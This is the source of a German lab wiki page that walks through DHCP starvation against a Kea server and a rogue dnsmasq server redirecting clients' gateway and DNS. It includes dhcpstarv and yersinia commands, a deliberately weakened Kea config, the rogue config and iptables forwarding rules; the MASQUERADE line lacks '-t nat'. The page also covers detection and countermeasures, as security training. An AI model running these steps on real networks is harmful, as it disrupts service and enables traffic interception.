Quelltext der Seite DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP

= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP =

In diesem Szenario wird der Lease-Pool eines legitimen [[Kea]]-DHCP-Servers durch eine Starvation-Attacke erschöpft. Sobald Kea keine Adressen mehr vergeben kann, übernimmt ein untergeschobener (''rogue'') DHCP-Server auf der Angreifer-Maschine die Adressvergabe und biegt Gateway und DNS auf den Angreifer um. Abschließend wird gezeigt, wie sich der Angriff in den Kea-Logs bzw. im [[Wazuh]]-SIEM nachweisen lässt.

;Warnung: Nur im isolierten Laborsegment ausführen. Eine Starvation-Flut legt im Produktivnetz die DHCP-Versorgung für alle Clients lahm.

== Szenario ==

{| class="wikitable"
! Rolle !! Host !! IP !! Dienst
|-
| Legitimer DHCP || kea.it.int || 10.0.10.1 || Kea DHCP4
|-
| Angreifer || kali-innen || 10.0.10.101 || dnsmasq (Rogue), dhcpstarv
|-
| Opfer || client2XX || per DHCP || frischer Lease-Bezug
|}

Alle Hosts liegen in derselben Broadcast-Domain (gleiches VLAN). Das ist Pflicht, da DHCPDISCOVER/REQUEST Broadcasts sind und ohne DHCP-Relay nicht über die L3-Grenze hinauskommen.

== Voraussetzungen ==

* Drei Maschinen im selben Segment (Kea-Server, Kali, Opfer-Client)
* Auf der Kali: <code>dnsmasq</code>, <code>dhcpstarv</code> bzw. <code>yersinia</code>
* Schreibzugriff auf die Kea-Konfiguration für die Vorbereitung der Demo

== Phase 1: Aufklärung ==

Vorhandenen DHCP-Server und seinen Pool sichtbar machen:

* <code>nmap --script broadcast-dhcp-discover</code>

Liefert den antwortenden Server, das angebotene Gateway, den DNS und die Lease-Time — also genau die Werte, die der Rogue-Server später nachbilden bzw. überschreiben soll.

== Phase 2: Kea für die Demo vorbereiten ==

Damit die Starvation im Labor '''deterministisch''' funktioniert, zwei Stellschrauben in der Kea-Konfiguration. Entscheidend ist <code>match-client-id</code>:

;match-client-id (Default true): Kea identifiziert einen Client primär über die Client-ID (Option 61), erst danach über die MAC. Sendet ein Starvation-Tool über alle Pakete dieselbe Client-ID, ordnet Kea sie demselben Lease zu — die Attacke verpufft. Auf <code>false</code> gesetzt, schlüsselt Kea ausschließlich über die MAC (<code>chaddr</code>), und jede neue gefälschte MAC erzwingt einen neuen Lease.

;Poolgröße: Für eine schnell sichtbare Demo den Pool klein halten, sonst dauert das Leersaugen unnötig lange.

<syntaxhighlight lang="json">
{
  "Dhcp4": {
    "interfaces-config": { "interfaces": [ "eth0" ] },
    "match-client-id": false,
    "valid-lifetime": 600,
    "subnet4": [
      {
        "id": 1,
        "subnet": "10.0.10.0/24",
        "pools": [ { "pool": "10.0.10.50 - 10.0.10.60" } ],
        "option-data": [
          { "name": "routers",            "data": "10.0.10.1" },
          { "name": "domain-name-servers", "data": "10.0.10.1" }
        ]
      }
    ]
  }
}
</syntaxhighlight>

Elf Adressen (.50–.60), niedrige <code>valid-lifetime</code> — der Pool ist in Sekunden erschöpft.

* <code>systemctl restart kea-dhcp4-server</code>

== Phase 3: Starvation ==

Den Kea-Pool von der Kali aus leersaugen. <code>dhcpstarv</code> variiert die Quell-MAC und fordert für jede einen neuen Lease an:

* <code>dhcpstarv -i eth0</code>

Alternativ mit yersinia (interaktiv, DHCP → ''sending DISCOVER packet''):

* <code>yersinia -I</code>

Kontrolle auf dem Kea-Server — der Pool füllt sich mit fremden Leases:

* <code>kea-admin lease-dump</code> bzw. Blick in die Lease-Datei <code>/var/lib/kea/kea-leases4.csv</code>

Sobald alle elf Adressen vergeben sind, beantwortet Kea neue DISCOVER nicht mehr mit einem Angebot.

== Phase 4: Rogue-DHCP übernimmt ==

Jetzt ist Kea „taub“ und der dnsmasq auf der Kali ist der einzige, der noch Adressen vergibt. Gateway und DNS zeigen auf den Angreifer:

<syntaxhighlight lang="ini">
interface=eth0
bind-interfaces
dhcp-range=10.0.10.150,10.0.10.200,255.255.255.0,12h
dhcp-option=3,10.0.10.101
dhcp-option=6,10.0.10.101
server=8.8.8.8
log-queries
log-dhcp
</syntaxhighlight>

;dhcp-option=3: Gateway → Angreifer (.101)
;dhcp-option=6: DNS → Angreifer (.101)

* <code>dnsmasq -C dnsmasq.conf -d</code>

Der Bereich .150–.200 überschneidet sich nicht mit dem Kea-Pool, damit kein Adresskonflikt die Demo stört.
== Phase 5: Nat und Forward ==

Forward Kette Freischalten und MASQUERDE aktivieren

*iptables -I POSTROUTING -s 10.0.10.0/24 -j MASQUERADE
*iptables -P FORWARD ACCEPT

== Phase 6: Nachweis am Client ==

Auf dem Opfer-Client einen frischen Bezug erzwingen — ein bestehender Lease wird nicht sofort gewechselt:

* Linux: <code>dhclient -r && dhclient</code>
* Windows: <code>ipconfig /release && ipconfig /renew</code>

Prüfen, dass Gateway und DNS jetzt auf <code>10.0.10.101</code> zeigen:

* <code>ip route</code> und <code>resolvectl status</code>

Ab hier läuft der gesamte Traffic des Clients über die Angreifer-Box — Grundlage für [[MitM]], DNS-Spoofing oder einen transparenten Proxy.

== Phase 7: Erkennung im SIEM ==
*[[DHCP-Starvation Erkennung im SIEM]]

== Gegenmaßnahmen ==

;DHCP Snooping: Auf einem gemanagten Switch der Standardschutz. Nur der Uplink-Port zum echten Kea-Server wird als ''trusted'' markiert; auf allen anderen Ports werden Server-Antworten (OFFER/ACK) verworfen. Damit fällt der Rogue-dnsmasq sofort durch.
;Port Security: Begrenzung der MAC-Adressen pro Port fängt die MAC-Flut der Starvation ab.
;Rate-Limiting: DHCP-Pakete pro Port limitieren.

== Siehe auch ==

* [[Kea]]
* [[Wazuh]]
* [[Suricata]]
* [[MitM]]
* [[DNS-Spoofing]]